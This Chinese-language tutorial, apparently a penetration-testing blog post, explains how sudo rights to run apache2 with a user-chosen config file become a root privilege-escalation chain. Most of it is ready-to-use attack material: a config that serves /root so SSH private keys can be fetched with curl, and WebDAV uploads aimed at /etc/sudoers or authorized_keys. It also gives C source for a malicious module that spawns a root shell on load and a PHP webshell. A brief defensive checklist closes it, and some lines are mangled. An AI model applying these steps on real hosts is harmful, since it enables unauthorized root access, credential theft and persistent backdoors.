在 Linux 系統中,如果普通用戶被授予以 sudo
執行 Apache 并加載自定義配置文件的權限(如 sudo apache2 -f /home/user/user.conf
),那么該權限極可能被濫用為本地提權路徑。
雖然 Apache 默認采用了更嚴格的權限限制機制(尤其是在腳本執行部分),但從服務功能層面看,它與 nginx 類似,也支持配置中實現任意文件讀寫、惡意模塊注入、Web 服務開啟等關鍵操作。因此,當攻擊者具備這類配置能力,結合 Apache 的模塊化和豐富功能,同樣能實現一整條提權利用鏈。
🧷 sudo 權限前提
假設當前用戶 mikannse
具有如下權限:
User mikannse may run the following commands:(root) NOPASSWD: /usr/sbin/apache2 -f /home/mikannse/mikannse.conf
等同于賦予攻擊者以 root 身份加載任意 Apache 配置 的能力。
🎯 核心目標
我們的目標是利用這條權限完成:
- ? 任意文件讀取(例如
/root/.ssh/id_rsa
、/etc/shadow
) - ? 任意文件寫入(例如覆蓋
/etc/passwd
、上傳公鑰、植入 suid 后門) - ? 執行自定義
.so
模塊代碼(即惡意模塊加載) - ? 啟動受控的 Web 服務(反彈 shell、內網持久化)
- ?? 注意:直接通過 Apache 執行
php
或bash
并不能獲得 root shell,因為 Apache worker 會降權。
1?? 任意文件讀取
思路:配置 Apache 靜態文件服務,設置 DocumentRoot
為任意目錄,包括 /root
、/etc
等。
ServerRoot "/tmp/apache"
PidFile /tmp/apache/httpd.pid
Listen 9999User root
Group rootDocumentRoot "/root"
<Directory "/root">Require all grantedOptions +Indexes
</Directory>
啟動 Apache 后即可通過 HTTP 獲取任意目錄中文件:
sudo apache2 -f /home/mikannse/mikannse.conf
curl http://127.0.0.1:9999/.ssh/id_rsa
curl http://127.0.0.1:9999/.bash_history
🔧 注意事項:Apache 必須使用 User root
啟動,才能訪問受限目錄內容(否則文件讀取失敗)。即使 worker 進程降權,root 主進程仍能完成初始文件打開操作。
2?? 任意文件寫入(PUT / POST)
開啟 WebDAV 模塊即可允許上傳任意文件至指定路徑,等同于擁有遠程 write
權限。
LoadModule dav_module /usr/lib/apache2/modules/mod_dav.so
LoadModule dav_fs_module /usr/lib/apache2/modules/mod_dav_fs.soDocumentRoot "/tmp/web"
<Directory "/tmp/web">DAV OnOptions IndexesRequire all granted
</Directory>
啟動:
mkdir -p /tmp/web
sudo apache2 -f /home/mikannse/mikannse.conf
上傳:
curl -T /home/mikannse/rootme /tmp/web/rootme http://127.0.0.1:9999/rootme
然后你可以:
- 覆蓋
/etc/sudoers
實現sudo
提權(需慎重) - 寫入
root
公鑰到/root/.ssh/authorized_keys
- 上傳 suid 程序、定時任務文件,達成 root 反彈 shell
3?? 惡意模塊注入(.so)
與 nginx 一樣,Apache 可通過 LoadModule
加載 .so
模塊,只要你構造的是合法 Apache 模塊格式,就可被 root 加載并執行構造函數中的任意命令。
模塊示例(rootme.c
):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "httpd.h"
#include "http_config.h"static void pwn() __attribute__((constructor));static void pwn() {setuid(0); setgid(0);system("/bin/bash -p");
}module AP_MODULE_DECLARE_DATA rootme_module = {STANDARD20_MODULE_STUFF,NULL, NULL, NULL, NULL, NULL, NULL
};
編譯模塊:
apxs -c rootme.c
配置加載:
LoadModule rootme_module /home/mikannse/.libs/rootme.so
只要 Apache 以 root 啟動,模塊加載時會執行構造函數,直接獲得 root shell。
4?? 植入后門 + WebShell 控制
Apache 可用作后門 Web 服務:
DocumentRoot "/home/mikannse/www"
<Directory "/home/mikannse/www">Require all granted
</Directory>
DirectoryIndex shell.php
上傳 WebShell:
<?php system($_GET['cmd']); ?>
訪問:
curl "http://127.0.0.1:9999/shell.php?cmd=id"
?? 若啟用 php-fpm
,實際命令執行權限取決于 FPM 配置(通常非 root)。
🆚 與 Nginx 提權路徑對比
利用方式 | Nginx | Apache | 是否能提權 |
---|---|---|---|
任意讀文件 | ? | ? | ?(root) |
任意寫文件 | ? | ? | ?(root) |
惡意模塊加載 | ? | ? | ?(root) |
PHP Shell 執行 | ? | ? | ??(非 root) |
反向持久化服務 | ? | ? | ? |
🔐 防御建議
- 禁止
sudo
加載 Apache 配置文件,或使用白名單 wrapper 限制參數 - Apache 啟動用戶不應為 root(可強制降權)
- 不允許普通用戶編譯
.so
模塊(移除apxs
,gcc
,make
) - 檢查并限制 WebDAV、mod_cgi、mod_userdir 等高危模塊
- 配置 AppArmor / SELinux 限制 Apache 文件訪問范圍
? 總結
Apache 的配置文件注入同 nginx 一樣,當其以 root 啟動并加載惡意配置文件時,就能構造完整提權鏈條。雖然 Apache 為避免子進程運行在 root 下進行了設計限制,但這不妨礙我們通過:
- 惡意模塊構造
- 靜態文件服務繞權限讀文件
- 開啟 WebDAV 實現任意寫文件
- WebShell 持久化控制
達成本地 root 提權或橫向打點目標。